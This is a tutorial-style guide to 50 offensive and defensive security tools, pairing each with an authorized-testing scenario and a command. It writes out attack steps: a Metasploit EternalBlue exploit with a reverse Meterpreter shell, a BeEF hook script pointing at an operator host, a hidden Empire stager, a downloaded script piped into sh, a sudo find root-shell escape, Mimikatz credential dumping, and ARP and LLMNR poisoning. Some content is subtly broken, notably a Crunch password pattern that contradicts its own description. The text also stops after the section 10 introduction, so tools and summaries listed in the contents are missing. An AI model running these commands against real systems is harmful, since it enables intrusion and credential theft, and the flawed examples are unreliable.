The Offensive & Defensive Security Arsenal: 50 Battle-Tested Tools Across 10 Core Disciplines
An exhaustive field manual dissecting the 50 foundational tools used across modern reconnaissance, web exploitation, digital forensics, malware reverse engineering, and post-exploitation with practical real-world attack and defense scenarios.
TABLE OF CONTENTS
- #The Offensive & Defensive Security Arsenal: 50 Battle-Tested Tools Across 10 Core Disciplines
- #1. Information Gathering & Reconnaissance
- #Nmap (Network Mapper)
- #Masscan
- #Amass (OWASP Amass)
- #theHarvester
- #Netdiscover
- #2. Web Application Security
- #Burp Suite
- #Nikto
- #Gobuster
- #Dirsearch
- #WhatWeb
- #3. Password Attacks & Authentication Testing
- #Hydra (THC-Hydra)
- #Hashcat
- #John the Ripper (JtR)
- #Medusa
- #Crunch
- #4. Exploitation Frameworks
- #Metasploit Framework (MSF)
- #Searchsploit
- #BeEF (Browser Exploitation Framework)
- #Empire (PowerShell Empire / BC-Security Empire)
- #RouterSploit
- #5. Wireless & Network Security
- #Aircrack-ng
- #Reaver
- #Wifite
- #Kismet
- #Bettercap
- #6. Malware Analysis & Reverse Engineering
- #Ghidra
- #Radare2 (r2)
- #Cutter
- #YARA
- #Volatility
- #7. Digital Forensics
- #Autopsy
- #The Sleuth Kit (TSK)
- #Foremost
- #Bulk Extractor
- #TestDisk
- #8. Network Analysis & MITM
- #Wireshark
- #Tcpdump
- #Ettercap
- #Dsniff
- #Responder
- #9. Privilege Escalation & Post Exploitation
- #LinPEAS (Linux Privilege Escalation Awesome Script)
- #WinPEAS (Windows Privilege Escalation Awesome Script)
- #GTFOBins
- #Mimikatz
- #CrackMapExec (now NetExec)
- #10. Automation & Utilities
- #Python
- #Ruby
- #SQLmap
- #Ffuf (Fuzz Faster U Fool)
- #Nuclei
- #Tool Reference Matrix
- #Key Takeaways: How to Build a Pragmatic Security Workflow
The Offensive & Defensive Security Arsenal: 50 Battle-Tested Tools Across 10 Core Disciplines
Modern cybersecurity is not about memorizing magic buttons—it is about understanding system internals, network state machines, protocol boundaries, and memory layouts. Whether executing an authorized red team engagement, auditing an enterprise perimeter, or responding to a live incident, having the right utility and knowing its exact operational context makes the difference between swift execution and blind guesswork.
In this deep-dive field guide, we dissect 50 industry-standard tools structured across 10 foundational security categories. For every single tool, we examine what it is used for and walk through a concrete real-world scenario showcasing how and why security practitioners deploy it.
1. Information Gathering & Reconnaissance
Reconnaissance is the initial phase of any assessment. Before sending a single intrusive payload, you must map the target’s attack surface, DNS topography, open ports, and infrastructure footprint.
Nmap (Network Mapper)
- What it is used for: The undisputed gold standard for network discovery and vulnerability auditing. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems they are running, and what packet filters/firewalls are in use. Through the Nmap Scripting Engine (NSE), it also automates complex tasks like vulnerability detection, brute forcing, and protocol exploitation.
- Real-World Scenario: During an external penetration test against a corporate IP block (
198.51.100.0/24), an engineer executes a stealthy SYN scan coupled with service version detection and default safe scripts:
The scan discovers an unpublicized high-port web administration daemon on TCP portnmap -sS -sV -sC -O -T4 -p- 198.51.100.42 -oA corp_recon_target8443running an outdated, unpatched embedded Jetty server vulnerable to remote information disclosure.
Masscan
- What it is used for: An asynchronous, ultra-high-speed TCP/UDP port scanner capable of scanning the entire public IPv4 Internet in under five minutes from a single machine with a gigabit connection. Unlike Nmap, which maintains TCP connection states, Masscan operates asynchronously using its own custom TCP/IP stack (
masscan-core), transmitting SYN packets as fast as the network interface can push them. - Real-World Scenario: An enterprise security team needs to audit a newly acquired company’s global
/16network CIDR (65,536 IP addresses) to detect any exposed Remote Desktop Protocol (RDP, port 3389) or database ports before threat actors can target them:
Within 90 seconds, Masscan flags 14 misconfigured hosts exposing open PostgreSQL and RDP ports straight to the public internet, allowing the team to immediately notify firewall administrators.masscan 203.0.113.0/16 -p3389,5432,3306 --rate=10000 -oG exposed_assets.txt
Amass (OWASP Amass)
- What it is used for: OWASP Amass is the premier framework for in-depth network mapping of attack surfaces and external asset discovery. It combines passive data gathering (via certificate transparency logs, web archives, DNS registries, and threat intelligence APIs) with active DNS resolution, domain permutation generation, and reverse IP lookups to build extensive asset graphs.
- Real-World Scenario: A red team assessing a Fortune 500 company’s multi-cloud infrastructure uses Amass to identify hidden assets and shadow IT infrastructure across all registered domain names:
The passive scan discovers an abandoned DNS recordamass enum -passive -d targetcorp.com -src -ip -dir ./amass_outputdev-payment-gateway.internal.targetcorp.compointing to a forgotten AWS Elastic Beanstalk CNAME susceptible to subdomain takeover.
theHarvester
- What it is used for: A lightweight OSINT (Open Source Intelligence) collection tool designed to gather emails, names, subdomains, IP addresses, and URLs from multiple public sources (Google, Bing, Shodan, LinkedIn, DuckDuckGo, PGP key servers, and Hunter.io).
- Real-World Scenario: While scoping an authorized social engineering and phishing resistance engagement, an analyst gathers employee corporate emails and external subdomains:
The tool compiles 140 validated corporate email addresses formatted according to company naming conventions (theHarvester -d company.com -l 500 -b linkedin,google,bing -f company_osint.htmlfirstname.lastname@company.com), providing crucial intelligence for building tailored user security awareness training campaigns.
Netdiscover
- What it is used for: An active and passive ARP reconnaissance utility designed to discover live hosts on local Ethernet or wireless networks. Because ARP requests cannot be routed beyond the local subnet, Netdiscover is indispensable for sniffing or sending targeted ARP requests to identify silent hosts, printers, and appliances that do not respond to ICMP pings.
- Real-World Scenario: An auditor connects a test laptop directly into a conference room physical Ethernet drop during an internal network review where DHCP is disabled on the VLAN:
Running in passive mode (netdiscover -r 10.10.20.0/24 -P-P), it quietly sniffs spontaneous ARP broadcasts without transmitting a single packet, revealing the gateway IP, a local storage array, and an industrial network controller connected to the same switch segment.
2. Web Application Security
Web applications represent the primary entry point for modern corporate breaches. Testing them requires analyzing HTTP traffic, unmasking hidden routes, fingerprinting architectures, and validating input sanitization.
Burp Suite
- What it is used for: The industry benchmark platform for web application security assessments. At its core is an intercepting HTTP/HTTPS proxy that allows operators to inspect, tamper with, and replay traffic between the browser and target servers. It features an automated vulnerability scanner, Repeater (for request manipulation), Intruder (for structured fuzzing), and a massive extension ecosystem (BApp Store).
- Real-World Scenario: A security engineer tests an e-commerce checkout flow. Intercepting a POST request to
/api/v1/checkoutin Burp Proxy, the engineer sends it to Repeater and modifies the JSON payload from{"item_id": 492, "unit_price": 250.00}to{"item_id": 492, "unit_price": 0.01}. The server responds with200 OKand initiates order processing, demonstrating an egregious lack of server-side validation and a high-severity business logic vulnerability.
Nikto
- What it is used for: An open-source web server scanner that tests for dangerous files and CGIs, outdated server software, insecure HTTP header configurations, and thousands of common server-side security vulnerabilities across HTTP and HTTPS.
- Real-World Scenario: During an infrastructure compliance review, an analyst runs Nikto against an internal intranet portal:
Nikto instantly reports that the web server is broadcasting an obsoletenikto -h https://intranet.local:8080 -Tuning 1,2,3 -output nikto_report.txtServer: Apache/2.2.15banner, missingX-Frame-OptionsandContent-Security-Policyheaders, and leaving a readable/phpmyadmin/scripts/setup.phpinstallation file accessible to unauthorized users.
Gobuster
- What it is used for: A lightning-fast enumeration tool written in Go used to brute-force URLs, directories, DNS subdomains, Virtual Host names (vhosts), and Amazon S3 or Google Cloud storage buckets. Its multi-threaded Go architecture allows thousands of requests per second.
- Real-World Scenario: During a black-box web engagement, an analyst looks for unlinked administrative endpoints and sensitive backup archives on a target web service:
Gobuster spots an HTTP 200 response ongobuster dir -u https://target-app.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,js,bak,envhttps://target-app.com/.env.bak, revealing production AWS secrets and database credentials stored accidentally during a previous deployment.
Dirsearch
- What it is used for: An advanced command-line directory brute-forcer written in Python. It provides sophisticated capabilities beyond simple path matching: recursive brute-forcing, custom HTTP status code filtering, automated request throttling, proxy chaining, user-agent randomization, and extensions handling.
- Real-World Scenario: While assessing an application protected by a strict Web Application Firewall (WAF) that blocks high-frequency request bursts, an engineer configures Dirsearch with recursive traversal, jitter delays, and custom proxy routing:
Dirsearch bypasses the rate limits through distributed pacing and successfully identifies a hiddendirsearch -u https://api.secureapp.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --delay 0.5 --random-agent --exclude-status 403,429 -r/v2/internal/metricsendpoint exposing Prometheus system telemetry.
WhatWeb
- What it is used for: A next-generation web scanner that fingerprints websites, identifying content management systems (CMS), blogging platforms, JavaScript libraries, web frameworks, analytics packages, and server architectures via headers, meta tags, and HTML source clues.
- Real-World Scenario: An organization needs to quickly categorize 200 external web properties to determine which hosts might be running vulnerable versions of WordPress or Drupal:
The triage highlights three subdomains running WordPress 5.4 with outdated WooCommerce plugins known to suffer from unauthenticated remote code execution.whatweb -i external_domains.txt --color=always -a 3 --log-brief=tech_stack.txt
3. Password Attacks & Authentication Testing
Authentication forms the boundary separating unauthorized visitors from confidential data. Testing password robustness involves network protocol brute-forcing, GPU-accelerated hash recovery, and specialized wordlist engineering.
Hydra (THC-Hydra)
- What it is used for: A parallelized network login cracker that tests user accounts and passwords against dozens of network protocols—including SSH, FTP, Telnet, RDP, SMB, HTTP-POST-FORM, MySQL, and PostgreSQL.
- Real-World Scenario: An internal audit reveals an isolated management host running an exposed SSH daemon. An analyst tests for default corporate credentials:
Hydra identifies valid credentials (hydra -L users.txt -P passwords.txt ssh://10.10.10.50 -t 4 -Vbackup_admin:Summer2025!) within minutes, illustrating the risk of poor password rotation policies on administrative jump hosts.
Hashcat
- What it is used for: The world’s fastest GPU-based password hash recovery utility. It supports hundreds of hashing algorithms (NTLM, SHA-256, bcrypt, scrypt, Argon2, WPA/WPA2, Kerberos tickets) and multiple attack modes (dictionary, combinator, mask/brute-force, hybrid, and rule-based attacks).
- Real-World Scenario: During an Active Directory assessment, an engineer dumps password hashes from the Domain Controller (
NTDS.dit). To evaluate enterprise password strength, they launch a GPU-accelerated rule attack against the NTLM hashes:
Within twenty minutes on a dedicated RTX GPU rig, Hashcat recovers 65% of the plaintext passwords, proving that employees routinely append single digits and special characters to common dictionary words.hashcat -m 1000 -a 0 ntds_hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule -O
John the Ripper (JtR)
- What it is used for: A venerable, highly versatile offline password cracking suite. John excels at automatically detecting hash types, executing “single-crack” mode based on target usernames, and extracting cracking targets from encrypted file formats using companion scripts (
zip2john,rar2john,ssh2john,keepass2john). - Real-World Scenario: An incident response team retrieves an encrypted KeePass password vault (
backup.kdbx) from a compromised employee workstation:
John the Ripper cracks the master passphrase in under ten minutes, allowing the incident response team to inspect what sensitive company infrastructure passwords were compromised by the intruder.keepass2john backup.kdbx > keepass_hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt keepass_hash.txt
Medusa
- What it is used for: A modular, high-speed, thread-based parallel network login cracker. Similar in intent to Hydra, Medusa is designed for stability and efficient connection handling, processing targets, users, and passwords concurrently across modular protocol libraries without depleting local system resources.
- Real-World Scenario: A penetration tester needs to test for weak SNMP community strings and Telnet accounts across an entire subnet of 50 legacy industrial routers:
Medusa swiftly identifies three core distribution switches utilizing the default credentialsmedusa -H router_ips.txt -u cisco -P wordlist.txt -M telnet -t 8 -T 16cisco:cisco, enabling the team to warn the client before malicious adversaries hijack network routing.
Crunch
- What it is used for: A dedicated wordlist generator that crafts custom character permutations based on strict pattern constraints, character sets, minimum/maximum lengths, and positional syntax.
- Real-World Scenario: An auditor learns that a target company enforces a strict password policy: 8 characters starting with a capital letter, followed by four lowercase letters, a year, and an exclamation mark (e.g.,
Spring2026!). Instead of generating a bloated 200 GB wordlist, Crunch generates the exact permutation set:
The generated dictionary is compact, highly targeted, and eliminates hours of wasted computation during offline hash recovery.crunch 8 8 -t ,@@@2026! -o custom_corporate_wordlist.txt
4. Exploitation Frameworks
Exploitation frameworks streamline the process of weaponizing vulnerabilities, managing payloads, triggering client-side interactions, and sustaining control over target hosts.
Metasploit Framework (MSF)
- What it is used for: The most comprehensive and widely used penetration testing platform in existence. Metasploit provides an extensive database of verified exploits, auxiliary scanners, post-exploitation modules, and payloads (including the dynamic, memory-resident Meterpreter).
- Real-World Scenario: During an internal security audit, an unpatched Windows Server 2008 legacy box is discovered. A penetration tester uses Metasploit to demonstrate how an attacker could leverage MS17-010 (EternalBlue) to obtain a SYSTEM shell:
The exploit succeeds, opening an interactive Meterpreter session running asmsfconsole -q use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.0.0.85 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.5 exploitNT AUTHORITY\SYSTEMand illustrating the critical necessity of network segmentation and security patching.
Searchsploit
- What it is used for: A command-line utility for querying Exploit-DB offline. It allows security analysts in air-gapped, high-security, or field environments to rapidly search through tens of thousands of exploits, shellcodes, and whitepapers without an internet connection.
- Real-World Scenario: During a strictly air-gapped SCADA environment assessment, an engineer discovers an outdated FTP daemon with banner
vsftpd 2.3.4:
Searchsploit confirms an infamous Smiley Face Backdoor exploit (searchsploit vsftpd 2.3.4unix/remote/17491.rb), allowing the engineer to document the exact CVE and remediation steps immediately.
BeEF (Browser Exploitation Framework)
- What it is used for: A client-side penetration testing framework designed to demonstrate the real-world impact of cross-site scripting (XSS). Once a victim’s web browser executes BeEF’s JavaScript hook (
hook.js), the browser becomes a controlled agent that can execute commands, map internal subnets, steal session cookies, and prompt for credentials. - Real-World Scenario: An engineer identifies a stored XSS vulnerability on an internal company message board. To help leadership understand why XSS is dangerous, the engineer hooks the administrative browser:
Using BeEF’s administrative panel, the tester executes a simulated Google Authenticator login prompt within the administrator’s tab, successfully demonstrating that an attacker can harvest second-factor credentials directly through the victim’s trusted browser session.<script src="http://10.10.14.5:3000/hook.js"></script>
Empire (PowerShell Empire / BC-Security Empire)
- What it is used for: A post-exploitation and command-and-control (C2) framework heavily utilizing PowerShell, Python, and C#. It executes in-memory without touching disk, communicates over encrypted channels, and provides modules for credential theft, Active Directory reconnaissance, and stealthy persistence.
- Real-World Scenario: During an advanced red team simulation, operators compromise an internal workstation. To evade endpoint antivirus solutions that monitor disk writes, they execute an in-memory PowerShell Empire stager:
The agent beacons back over HTTPS to the team’s C2 infrastructure, allowing operators to run domain enumeration commands completely in memory.powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-EmpireStager -Listener HttpListener"
RouterSploit
- What it is used for: An open-source exploitation framework dedicated to embedded devices, IoT hardware, IP cameras, and wireless routers. It contains modules to test for default credentials, hardcoded vendor backdoors, and memory corruption bugs in embedded services.
- Real-World Scenario: While auditing a corporate branch office, an auditor analyzes the physical VoIP phones and Wi-Fi access points:
RouterSploit automatically flags an unauthenticated remote command execution flaw in the router’s web administration CGI script, proving that IoT hardware must never be co-located on the same VLAN as corporate workstations.rsf > use scanners/autopwn rsf (autopwn) > set target 192.168.1.1 rsf (autopwn) > run
5. Wireless & Network Security
Radio frequencies (RF) and wireless networks bypass physical perimeter security. Auditing them requires monitoring raw packets, capturing cryptographic handshakes, and testing access point configurations.
Aircrack-ng
- What it is used for: The classic 802.11 wireless security auditing suite. It covers every aspect of wireless testing: packet sniffing (
airodump-ng), packet injection and deauthentication (aireplay-ng), software access point generation (airbase-ng), and offline WEP/WPA/WPA2-PSK handshake cracking (aircrack-ng). - Real-World Scenario: An engineer tests the strength of a guest Wi-Fi network’s WPA2 pre-shared key:
The captured handshake is cracked in minutes, proving the pre-shared key# Step 1: Capture traffic and handshakes airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w capture_wifi wlan0mon # Step 2: Send deauth frames to force client reconnection aireplay-ng -0 2 -a 00:14:6C:7E:40:80 -c 70:1A:04:12:34:56 wlan0mon # Step 3: Crack captured 4-way handshake offline aircrack-ng -w passwords.txt -b 00:14:6C:7E:40:80 capture_wifi-01.capCompanyGuest2025is vulnerable to brute-force compromise.
Reaver
- What it is used for: A targeted attack tool designed to exploit design flaws in Wi-Fi Protected Setup (WPS). By brute-forcing the registrar PIN (which consists of only $10^4 + 10^3 = 11,000$ possible combinations due to a flaw in the WPS validation protocol), Reaver can recover the plain-text WPA/WPA2 passphrase regardless of its complexity.
- Real-World Scenario: An auditor inspects an office router with WPS enabled:
Using the Pixie Dust attack mode (reaver -i wlan0mon -b 00:09:5B:6F:AA:BB -vv -K 1-K 1), Reaver computes the WPS PIN from nonces exchange packets in under five seconds, revealing the network’s complex 24-character WPA2 passphrase without dictionary cracking.
Wifite
- What it is used for: An automated wireless auditing wrapper that orchestrates
aircrack-ng,tshark,reaver,bully,hashcat, andhcxdumptool. It automatically discovers nearby access points, captures modern PMKID handshakes, deauthenticates clients, and organizes capture files without manual script switching. - Real-World Scenario: A red teamer conducting a mobile facility walkthrough enables Wifite in automated mode:
Wifite quietly captures PMKID hashes from surrounding routers without disconnecting active users, saving the results for offline GPU hash cracking.wifite --pmkid --nodeauth -i wlan0mon
Kismet
- What it is used for: An advanced wireless network detector, passive sniffer, and intrusion detection system (IDS) supporting 802.11 Wi-Fi, Bluetooth, Zigbee, and Software-Defined Radio (SDR) hardware (RTL-SDR). Kismet operates 100% passively, never transmitting radio packets that could reveal the operator’s physical location.
- Real-World Scenario: A corporate security team monitors an executive board meeting room for unauthorized wireless eavesdropping devices or rogue APs:
Kismet detects a hidden SSID broadcasting on channel 11 with an anomalous MAC address and flags a suspicious rogue Bluetooth Low Energy (BLE) tracker hidden under a boardroom chair.kismet -c wlan0 -c hci0 --use-alert-syslog
Bettercap
- What it is used for: A modern, modular, event-driven Swiss Army knife for network attacks. It handles 802.11 Wi-Fi, BLE, and Ethernet networks, supporting real-time ARP spoofing, DNS spoofing, credential sniffing, proxy-based HTTP/HTTPS packet inspection, and rogue access point deployment.
- Real-World Scenario: An authorized consultant demonstrates the risks of plaintext local traffic on a corporate subnet:
Bettercap intercepts and logs unencrypted HTTP and FTP credentials transmitted by target IPbettercap -iface eth0 > net.probe on > set arp.spoof.targets 192.168.1.150 > arp.spoof on > net.sniff on192.168.1.150, illustrating why end-to-end encryption (TLS) is mandatory even within internal LANs.
6. Malware Analysis & Reverse Engineering
Malware analysts and reverse engineers deconstruct malicious binaries, unpack packed executables, analyze memory dumps, and write detection signatures.
Ghidra
- What it is used for: Developed by the National Security Agency (NSA), Ghidra is a software reverse engineering (SRE) suite featuring an advanced graphical decompiler. It supports an enormous variety of processor architectures (x86, x64, ARM, MIPS, PowerPC, SPARC) and includes scriptable deobfuscation, symbol tracking, and collaboration capabilities.
- Real-World Scenario: An incident responder retrieves a suspicious compiled executable dropped during a ransomware attack. Loading the binary into Ghidra’s decompiler, they analyze the main entry point:
The analyst identifies the hardcoded command-and-control server and the specific cryptographic API calls, allowing the defensive team to block the IP address across all company firewalls within minutes.// Decompiled pseudocode inside Ghidra void FUN_00401290(void) { HCRYPTPROV hCryptProv; CryptAcquireContextA(&hCryptProv, NULL, NULL, PROV_RSA_AES, 0); // Hardcoded C2 Server IP found in decompiler: char *c2_url = "https://185.220.101.5/keys/register.php"; }
Radare2 (r2)
- What it is used for: A lightweight, modular, command-line reverse engineering framework and hexadecimal editor. Radare2 offers binary analysis, disassembly, debugging, binary patching, and architecture emulation directly from terminal environments without requiring GUI overhead.
- Real-World Scenario: An analyst connected via a low-bandwidth SSH session to a headless remote Linux honeypot needs to rapidly inspect an unknown ELF binary:
The analyst confirms the binary is a Mirai botnet variant that opens raw sockets to flood random IP addresses on port 23.r2 -A suspicious_elf [0x00400500]> afl # List all analyzed functions [0x00400500]> s sym.main # Seek to main function [0x00400500]> pdf # Print disassembled function
Cutter
- What it is used for: The official GUI for the Rizin reverse engineering framework (a fork of Radare2). Cutter provides an intuitive visual interface featuring function graph views, an integrated Ghidra decompiler widget, a hex editor, and a debugging interface.
- Real-World Scenario: A junior malware analyst investigating an obfuscated Windows trojan uses Cutter’s visual control flow graph:
The graph view clearly exposes an anti-debugging loop checking the
BeingDebuggedflag in the Process Environment Block (PEB). Cutter allows the analyst to visually right-click the conditional jump instruction (JZ) and patch it to aNOPsequence, neutralizing the anti-analysis check before resuming execution in a sandbox.
YARA
- What it is used for: Known as the pattern-matching Swiss Army knife for malware researchers, YARA allows analysts to create rule-based descriptions of malware families based on textual, hexadecimal, and regex patterns paired with boolean logic conditions.
- Real-World Scenario: Following a targeted cyber espionage attack, threat analysts extract unique string patterns from the threat actor’s custom dropper and write a detection rule:
Deploying this YARA rule across all file servers and endpoint detection agents flags two dormant payloads located in temporary user directories.rule APT_Custom_Dropper { meta: author = "Security Operations Team" threat_actor = "Cobalt Tempest" strings: $magic = { 4D 5A 90 00 } $str1 = "Global\\ShadowMutex_77b" ascii $xor_stub = { 8A 04 0E 30 04 0F 41 3B 4D } condition: $magic at 0 and ($str1 or $xor_stub) }
Volatility
- What it is used for: The premier digital memory forensics framework. When attackers utilize fileless malware, reflective DLL injection, or in-memory process hollowing, no artifacts may be left on the physical disk. Volatility analyzes volatile RAM dumps to uncover running processes, active network connections, injected code segments, and kernel hooks.
- Real-World Scenario: A database server experiences an unexplainable outbound data spike, but disk scans reveal zero new files. The DFIR team takes a live memory dump (
memdump.raw) and analyzes it with Volatility:
Volatility reveals that process ID 3488 (vol -f memdump.raw windows.pslist vol -f memdump.raw windows.malfind --pid 3488svchost.exe) contains an unmapped memory region withPAGE_EXECUTE_READWRITEpermissions harboring executable shellcode injected via process hollowing.
7. Digital Forensics
Digital forensics involves identifying, preserving, analyzing, and presenting digital evidence in a forensically sound, chain-of-custody compliant manner.
Autopsy
- What it is used for: An end-to-end graphical digital forensics platform that acts as the primary GUI for The Sleuth Kit. Used by law enforcement, military, and corporate investigators to index hard drive images, parse web browser histories, extract EXIF metadata from media, detect steganography, and reconstruct timelines.
- Real-World Scenario: In an intellectual property theft case, an investigator loads an image of an ex-employee’s corporate laptop drive (
evidence.E01) into Autopsy: Autopsy’s automated ingest modules index the drive, flag newly connected USB storage devices in the Windows registry, and recover deleted spreadsheet files containing company trade secrets from unallocated disk clusters.
The Sleuth Kit (TSK)
- What it is used for: A powerful library and collection of command-line tools for analyzing disk images at the raw partition and file system level. Commands like
mmls(partition layout),fls(file listings including deleted entries),icat(extracting files by inode), andfsstatallow granular inspection without mounting potentially compromised images. - Real-World Scenario: An investigator needs to inspect a Linux server image (
disk.raw) without changing a single byte of metadata:
The investigator recovers a deleted bash script that was used by the attacker to wipe system logs, maintaining complete forensic integrity.# Step 1: Display partition table mmls disk.raw # Step 2: List deleted files on the main ext4 partition (starting at sector 2048) fls -r -p -d -o 2048 disk.raw # Step 3: Extract deleted file at inode 41920 to an analysis workstation icat -o 2048 disk.raw 41920 > recovered_script.sh
Foremost
- What it is used for: A forensic data recovery program based on file carving. Foremost recovers lost or deleted files based on their internal file headers, footers, and internal structure rather than depending on the file system directory tables (which may be intentionally overwritten or corrupt).
- Real-World Scenario: A suspect attempts to destroy evidence by reformatting an external SD card. An investigator runs Foremost against the raw card image:
Foremost scans the raw binary stream and successfully carves dozens of deleted PDFs and JPG documents directly from raw memory patterns.foremost -t jpg,pdf,docx -i /dev/sdb -o /cases/case042/carved_evidence/
Bulk Extractor
- What it is used for: A high-performance digital forensic feature extraction tool. Unlike file system parsers, Bulk Extractor scans raw disk images, memory dumps, or directories byte-by-byte without parsing file structures. It extracts structured entities: email addresses, credit card numbers, URLs, IP addresses, EXIF metadata, and search queries.
- Real-World Scenario: An incident response team receives a 4 TB forensic image of an FTP server suspected of hosting compromised credit card databases:
Within an hour, Bulk Extractor processes the entire 4 TB image and outputs a parsed text file containing all valid Visa/Mastercard numbers discovered in raw memory sectors, significantly accelerating triage.bulk_extractor -E ccn -o ./extracted_cards /mnt/forensic_images/ftp_dump.img
TestDisk
- What it is used for: A powerful open-source data recovery utility designed to recover lost partitions, repair corrupt partition tables (MBR and GPT), rebuild boot sectors, and undelete files from FAT, exFAT, NTFS, and ext2/3/4 file systems.
- Real-World Scenario: Following a ransomware attack that corrupted the Master Boot Record (MBR) and partition table of a mission-critical backup server, the IT department cannot mount the storage array:
Running TestDisk against
/dev/sda, the administrator selects “Analyse”, detects the underlying backup partition boundaries, and rewrites a clean partition table back to disk, successfully restoring petabytes of uncorrupted backup archives.
8. Network Analysis & MITM
Gaining visibility into network wires enables defenders to spot anomalies and red teams to hijack authentication flows via protocol manipulation.
Wireshark
- What it is used for: The world’s most widely used network protocol analyzer. It captures and interactively inspects raw network traffic in microscopic detail, supporting protocol dissection, stream reconstruction, cryptographic decryption (with SSL/TLS session keys), and advanced filtering.
- Real-World Scenario: An analyst notices unexpected HTTPS traffic leaving a sensitive corporate server. Loading the network capture file into Wireshark alongside the server’s pre-master secret TLS key log:
Wireshark decrypts the encrypted TLS stream, exposing an exfiltration payload uploading proprietary database records to an external cloud bucket.Filter: ssl.handshake.type == 1 || http2.data
Tcpdump
- What it is used for: The premier command-line packet capture and analysis utility. Powered by
libpcap, it allows administrators and analysts to capture, filter, and inspect network traffic directly on remote or resource-constrained servers using Berkeley Packet Filter (BPF) syntax. - Real-World Scenario: A Linux server experiences intermittent timeout issues. An administrator investigates inbound connection floods directly from a secure terminal:
Tcpdump captures 500 consecutive SYN packets originating from spoofed source addresses, confirming an ongoing SYN flood DDoS attack.tcpdump -nn -i eth0 'tcp[tcpflags] & (tcp-syn) != 0 and dst port 443' -c 500 -w syn_flood.pcap
Ettercap
- What it is used for: A comprehensive suite for Man-in-the-Middle (MITM) attacks on switched LANs. It supports ARP poisoning, character injection, live filtering, and protocol dissection for intercepting credentials across switched network architectures.
- Real-World Scenario: During an internal security assessment, an engineer demonstrates the absence of Dynamic ARP Inspection (DAI) on corporate switches:
Ettercap poisons the ARP caches of the workstation and the default gateway, intercepting plaintext protocol traffic to prove the necessity of enabling 802.1X and switch port security.ettercap -T -q -M arp:remote /192.168.1.10// /192.168.1.1//
Dsniff
- What it is used for: A collection of specialized network auditing and password-sniffing tools (
dsniff,filesnarf,mailsnarf,msgsnarf,urlsnarf). Dsniff automatically listens for authentication attempts across legacy protocols (FTP, Telnet, POP3, IMAP, HTTP, SNMP) and writes clean, extracted credentials to stdout. - Real-World Scenario: An auditor connects to a legacy building management subnet:
Dsniff monitors the wire and passively captures an unencrypted HVAC management interface login (dsniff -i eth0admin:HVAC_Secure_2026) transmitted over cleartext HTTP.
Responder
- What it is used for: A Link-Local Multicast Name Resolution (LLMNR), NBT-NS, and mDNS poisoner. When a Windows client attempts to resolve a non-existent or mistyped internal server name (e.g.,
\\filesharee), Windows broadcasts LLMNR/NBT-NS queries. Responder answers these queries, masquerading as the target server and forcing the client to send NetNTLMv1/v2 authentication hashes. - Real-World Scenario: A penetration tester connects their laptop to a corporate Active Directory network and starts Responder:
A domain user mistypes an internal file share path. Responder answers the request, prompts for authentication, and captures the user’s NetNTLMv2 hash (responder -I eth0 -rdwDOMAIN\jdoe:$NETNTLMv2$...), which the tester subsequently cracks or relays to another server via SMB.
9. Privilege Escalation & Post Exploitation
Initial access is only the beginning. Escalating privileges and establishing lateral movement across the enterprise is where engagements are decided.
LinPEAS (Linux Privilege Escalation Awesome Script)
- What it is used for: A comprehensive bash script that searches for potential privilege escalation vectors on Linux, Unix, and macOS systems. It checks file permissions, misconfigured cron jobs, vulnerable sudo configurations, SUID binaries, kernel exploits, and stored credentials, highlighting findings with a colored priority system.
- Real-World Scenario: After exploiting an unauthenticated web shell running as the low-privilege
www-datauser, an analyst runs LinPEAS:
LinPEAS flags an unusual custom SUID binary located atcurl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh/usr/local/bin/backup_execwith a red/yellow highlight. The analyst notices the binary executestarwithout an absolute path, enabling simple PATH variable hijacking to spawn an instant root shell.
WinPEAS (Windows Privilege Escalation Awesome Script)
- What it is used for: The Windows counterpart to LinPEAS, available as both a batch script and a compiled .NET executable. It enumerates unquoted service paths, writable service binaries, registry auto-runs, AlwaysInstallElevated privileges, saved credentials, and unpatched CVEs.
- Real-World Scenario: Having obtained a standard user shell on a domain-joined Windows 11 workstation, an operator executes WinPEAS:
WinPEAS reports that a third-party monitoring service runs aswinPEASx64.exe quiet cmdNT AUTHORITY\SYSTEMwith an unquoted path (C:\Program Files\Vendor App\Service Manager\monitor.exe) inside a directory writable by standard users, allowing the operator to drop a maliciousC:\Program Files\Vendor App\Service.exebinary and reboot to attain SYSTEM access.
GTFOBins
- What it is used for: A curated online and offline reference catalog of Unix binaries that can be abused by attackers to bypass local security restrictions, elevate privileges, escape restricted shells, and transfer files when granted elevated
sudorights or SUID permissions. - Real-World Scenario: An auditor checks their user’s current permissions using
sudo -land discovers:
Checking GTFOBins forUser devuser may run the following commands on host: (root) NOPASSWD: /usr/bin/findfind, the auditor executes:
The command spawns an interactive root shell without prompting for a password, demonstrating a dangerous sudo misconfiguration.sudo find . -exec /bin/sh \; -quit
Mimikatz
- What it is used for: The leading Windows post-exploitation tool authored by Benjamin Delpy. Mimikatz extracts plaintext passwords, NTLM hashes, Kerberos tickets (enabling Golden and Silver Ticket generation), and smart card PINs directly from the Windows Local Security Authority Subsystem Service (LSASS) process memory.
- Real-World Scenario: After elevating privileges to local Administrator on a Windows workstation, a red team operator executes Mimikatz:
Mimikatz dumps the credentials of a Domain Administrator who recently logged into the workstation via RDP, allowing the red team to compromise the entire Active Directory domain controller.privilege::debug sekurlsa::logonpasswords
CrackMapExec (now NetExec)
- What it is used for: The ultimate post-exploitation Swiss Army knife for auditing Active Directory environments. Built on the Impacket library, it automates credential spraying, SMB/WMI/WinRM remote command execution, pass-the-hash attacks, and share enumeration across large subnets.
- Real-World Scenario: A penetration tester obtains valid credentials for a standard user account (
Domain\accounting:Welcome2026). They test where these credentials can authenticate across an entire/24subnet:
The output identifies two legacy file servers where the account unexpectedly possesses local administrative rights (netexec smb 192.168.10.0/24 -u 'accounting' -p 'Welcome2026'Pwn3d!), enabling the tester to execute remote management commands directly.
10. Automation & Utilities
Custom scripts and automation engines bridge the gaps between standard tools, allowing engineers to chain exploits, orchestrate scans, and process high-volume targets.
